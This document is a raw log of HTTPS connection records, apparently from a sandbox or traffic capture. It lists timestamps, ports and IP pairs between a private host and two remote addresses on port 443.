Nov 24, 2024 08:44:24.167185068 CET	49831	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:24.167191029 CET	443	49831	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:24.225505114 CET	443	49830	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:24.227368116 CET	443	49829	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:24.229548931 CET	443	49830	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:24.229651928 CET	49830	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:24.231023073 CET	443	49829	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:24.231074095 CET	443	49829	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:24.231142044 CET	49829	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:24.244455099 CET	49834	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:24.244510889 CET	443	49834	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:24.244649887 CET	49834	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:24.245032072 CET	49830	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:24.245059967 CET	443	49830	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:24.245078087 CET	49830	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:24.245084047 CET	443	49830	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:24.252441883 CET	49834	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:24.252465963 CET	443	49834	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:24.252717972 CET	49829	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:24.252732038 CET	443	49829	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:24.307642937 CET	443	49828	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:24.311503887 CET	443	49828	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:24.314790964 CET	49828	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:24.624160051 CET	49828	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:24.624160051 CET	49828	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:24.624197960 CET	443	49828	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:24.624212980 CET	443	49828	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:24.628875971 CET	49835	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:24.628914118 CET	443	49835	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:24.629164934 CET	49835	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:24.630512953 CET	49836	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:24.630561113 CET	443	49836	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:24.630651951 CET	49836	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:24.639086008 CET	49837	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:24.639128923 CET	443	49837	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:24.639251947 CET	49837	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:24.640357018 CET	49835	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:24.640374899 CET	443	49835	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:24.640568018 CET	49836	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:24.640590906 CET	443	49836	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:24.640885115 CET	49837	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:24.640897989 CET	443	49837	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:24.793098927 CET	49672	443	192.168.2.10	173.222.162.55
Nov 24, 2024 08:44:24.925674915 CET	49841	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:24.925734043 CET	443	49841	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:24.926198959 CET	49841	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:24.926538944 CET	49841	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:24.926558018 CET	443	49841	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:25.252100945 CET	49842	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:25.252145052 CET	443	49842	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:25.252230883 CET	49842	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:25.252513885 CET	49842	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:25.252531052 CET	443	49842	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:25.466017008 CET	443	49833	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:25.467299938 CET	49833	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:25.467319012 CET	443	49833	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:25.468336105 CET	49833	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:25.468342066 CET	443	49833	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:25.899470091 CET	443	49833	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:25.903300047 CET	443	49833	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:25.903424978 CET	49833	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:25.903460979 CET	49833	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:25.903460979 CET	49833	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:25.903476000 CET	443	49833	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:25.903485060 CET	443	49833	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:25.908785105 CET	49843	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:25.908828974 CET	443	49843	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:25.909065962 CET	49843	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:25.909250021 CET	49843	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:25.909266949 CET	443	49843	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:26.100282907 CET	443	49834	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:26.100924015 CET	49834	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:26.100958109 CET	443	49834	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:26.101654053 CET	49834	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:26.101660967 CET	443	49834	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:26.361443043 CET	443	49835	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:26.362185955 CET	49835	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:26.362214088 CET	443	49835	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:26.362637997 CET	49835	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:26.362644911 CET	443	49835	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:26.364778042 CET	443	49837	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:26.365164995 CET	49837	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:26.365192890 CET	443	49837	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:26.365534067 CET	49837	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:26.365539074 CET	443	49837	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:26.420676947 CET	443	49836	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:26.421401978 CET	49836	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:26.421422958 CET	443	49836	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:26.421919107 CET	49836	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:26.421925068 CET	443	49836	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:26.551920891 CET	443	49834	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:26.552057981 CET	443	49834	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:26.552119017 CET	49834	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:26.552356005 CET	49834	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:26.552378893 CET	443	49834	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:26.552465916 CET	49834	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:26.552474022 CET	443	49834	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:26.557058096 CET	49844	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:26.557091951 CET	443	49844	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:26.557203054 CET	49844	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:26.557661057 CET	49844	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:26.557672024 CET	443	49844	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:26.662272930 CET	443	49841	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:26.662612915 CET	49841	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:26.662635088 CET	443	49841	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:26.664220095 CET	443	49841	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:26.664345980 CET	49841	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:26.667279005 CET	49841	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:26.667457104 CET	443	49841	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:26.667866945 CET	49841	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:26.667887926 CET	443	49841	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:26.795020103 CET	443	49835	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:26.798037052 CET	443	49835	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:26.798794031 CET	49835	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:26.800241947 CET	443	49837	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:26.804126024 CET	443	49837	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:26.804210901 CET	49837	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:26.808419943 CET	49835	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:26.808444977 CET	443	49835	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:26.811043978 CET	49837	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:26.811065912 CET	443	49837	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:26.811079979 CET	49837	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:26.811084986 CET	443	49837	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:26.815264940 CET	49845	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:26.815310955 CET	443	49845	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:26.815628052 CET	49845	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:26.816978931 CET	49845	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:26.816998959 CET	443	49845	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:26.818173885 CET	49846	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:26.818207979 CET	443	49846	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:26.818272114 CET	49846	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:26.818382978 CET	49846	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:26.818391085 CET	443	49846	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:26.822181940 CET	49841	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:26.866435051 CET	443	49836	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:26.869479895 CET	443	49836	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:26.869554996 CET	443	49836	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:26.869558096 CET	49836	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:26.869606018 CET	49836	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:26.883714914 CET	49836	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:26.883745909 CET	443	49836	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:27.004957914 CET	49848	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:27.004997969 CET	443	49848	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:27.005063057 CET	49848	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:27.019068003 CET	49848	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:27.019088984 CET	443	49848	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:27.039969921 CET	443	49842	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:27.040479898 CET	49842	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:27.040489912 CET	443	49842	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:27.041985989 CET	443	49842	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:27.042049885 CET	49842	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:27.050555944 CET	49842	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:27.050699949 CET	443	49842	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:27.050753117 CET	49842	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:27.091339111 CET	443	49842	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:27.144103050 CET	443	49841	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:27.144140959 CET	443	49841	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:27.144150019 CET	443	49841	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:27.144166946 CET	443	49841	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:27.144176960 CET	443	49841	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:27.144217014 CET	443	49841	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:27.144243002 CET	49841	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:27.144256115 CET	443	49841	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:27.144278049 CET	49841	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:27.144305944 CET	49841	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:27.195228100 CET	49842	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:27.195245981 CET	443	49842	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:27.195331097 CET	49672	443	192.168.2.10	173.222.162.55
Nov 24, 2024 08:44:27.301429033 CET	49842	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:27.504084110 CET	443	49841	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:27.504132032 CET	443	49841	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:27.504153967 CET	443	49841	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:27.504165888 CET	443	49841	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:27.504219055 CET	49841	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:27.504230022 CET	443	49841	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:27.504340887 CET	49841	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:27.504340887 CET	49841	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:27.504647970 CET	443	49841	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:27.504657984 CET	443	49841	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:27.504678965 CET	443	49841	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:27.504966021 CET	49841	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:27.504966021 CET	49841	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:27.504980087 CET	443	49841	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:27.505083084 CET	49841	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:27.626924992 CET	443	49842	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:27.626985073 CET	443	49842	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:27.627006054 CET	443	49842	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:27.627023935 CET	443	49842	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:27.627058983 CET	49842	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:27.627131939 CET	443	49842	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:27.627171993 CET	443	49842	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:27.627178907 CET	49842	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:27.627192020 CET	443	49842	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:27.627227068 CET	443	49842	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:27.627257109 CET	49842	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:27.627257109 CET	49842	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:27.627266884 CET	443	49842	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:27.627280951 CET	49842	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:27.665286064 CET	443	49841	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:27.665349960 CET	443	49841	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:27.665376902 CET	49841	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:27.665391922 CET	443	49841	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:27.665425062 CET	49841	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:27.665450096 CET	49841	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:27.716533899 CET	443	49841	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:27.716593027 CET	443	49841	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:27.716634989 CET	49841	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:27.716651917 CET	443	49841	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:27.716665983 CET	49841	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:27.716696024 CET	49841	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:27.746012926 CET	443	49842	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:27.746028900 CET	443	49842	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:27.746058941 CET	443	49842	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:27.746068001 CET	443	49842	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:27.746077061 CET	443	49842	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:27.746083975 CET	49842	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:27.746097088 CET	443	49842	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:27.746118069 CET	443	49842	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:27.746129036 CET	49842	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:27.746252060 CET	49842	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:27.767802000 CET	443	49841	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:27.767833948 CET	443	49841	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:27.767870903 CET	49841	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:27.767889023 CET	443	49841	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:27.767924070 CET	49841	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:27.767924070 CET	49841	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:27.811898947 CET	443	49841	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:27.811928034 CET	443	49841	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:27.811995029 CET	49841	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:27.812011957 CET	443	49841	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:27.812053919 CET	49841	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:27.812053919 CET	49841	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:27.826793909 CET	443	49842	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:27.826811075 CET	443	49842	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:27.826833010 CET	443	49842	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:27.826843977 CET	443	49842	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:27.826850891 CET	443	49842	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:27.826872110 CET	443	49842	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:27.826920033 CET	49842	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:27.826920033 CET	49842	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:27.826926947 CET	443	49842	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:27.836610079 CET	443	49842	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:27.836695910 CET	443	49842	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:27.836767912 CET	49842	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:27.836767912 CET	49842	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:27.837152004 CET	49842	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:27.837157011 CET	443	49842	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:27.863164902 CET	443	49841	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:27.863185883 CET	443	49841	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:27.863251925 CET	49841	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:27.863280058 CET	443	49841	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:27.863323927 CET	49841	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:27.863323927 CET	49841	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:27.904927015 CET	443	49841	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:27.904964924 CET	443	49841	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:27.905020952 CET	49841	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:27.905046940 CET	443	49841	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:27.905092001 CET	49841	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:27.905092001 CET	49841	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:27.921351910 CET	443	49841	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:27.921386003 CET	443	49841	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:27.921442032 CET	49841	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:27.921457052 CET	443	49841	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:27.921503067 CET	49841	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:27.921504021 CET	49841	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:27.939300060 CET	443	49841	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:27.939342022 CET	443	49841	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:27.939433098 CET	49841	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:27.939433098 CET	49841	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:27.939448118 CET	443	49841	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:27.939578056 CET	49841	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:27.960711002 CET	443	49841	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:27.960735083 CET	443	49841	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:27.960778952 CET	49841	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:27.960796118 CET	443	49841	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:27.960855961 CET	49841	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:27.976690054 CET	443	49841	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:27.976762056 CET	443	49841	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:27.976839066 CET	49841	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:27.976841927 CET	443	49841	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:27.976881027 CET	49841	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:27.977272034 CET	49841	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:27.977293968 CET	443	49841	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:27.994092941 CET	49851	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:27.994146109 CET	443	49851	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:27.994221926 CET	49851	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:27.994582891 CET	49851	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:27.994596958 CET	443	49851	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:28.053188086 CET	443	49843	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:28.053878069 CET	49843	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:28.053903103 CET	443	49843	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:28.054384947 CET	49843	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:28.054389954 CET	443	49843	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:28.081674099 CET	443	49844	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:28.082313061 CET	49844	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:28.082329035 CET	443	49844	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:28.082830906 CET	49844	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:28.082834959 CET	443	49844	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:28.147741079 CET	49852	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:28.147780895 CET	443	49852	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:28.147861958 CET	49852	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:28.148132086 CET	49852	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:28.148139954 CET	443	49852	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:28.505110025 CET	443	49843	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:28.508932114 CET	443	49843	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:28.509067059 CET	49843	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:28.509121895 CET	49843	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:28.509121895 CET	49843	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:28.509145021 CET	443	49843	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:28.509159088 CET	443	49843	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:28.513966084 CET	49853	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:28.514019966 CET	443	49853	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:28.514102936 CET	49853	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:28.516370058 CET	49853	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:28.516390085 CET	443	49853	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:28.516896009 CET	443	49844	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:28.520121098 CET	443	49844	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:28.520387888 CET	49844	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:28.520754099 CET	49844	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:28.520771980 CET	443	49844	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:28.520790100 CET	49844	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:28.520795107 CET	443	49844	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:28.525144100 CET	49854	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:28.525182962 CET	443	49854	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:28.525269985 CET	49854	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:28.525753021 CET	49854	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:28.525763988 CET	443	49854	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:28.600615025 CET	443	49845	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:28.655323982 CET	49845	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:28.655353069 CET	443	49845	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:28.656008005 CET	49845	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:28.656014919 CET	443	49845	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:28.668279886 CET	443	49846	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:28.670001984 CET	49846	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:28.670048952 CET	443	49846	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:28.670495987 CET	49846	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:28.670502901 CET	443	49846	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:28.732690096 CET	443	49848	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:28.734853029 CET	49848	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:28.734879017 CET	443	49848	13.107.246.63	192.168.2.10
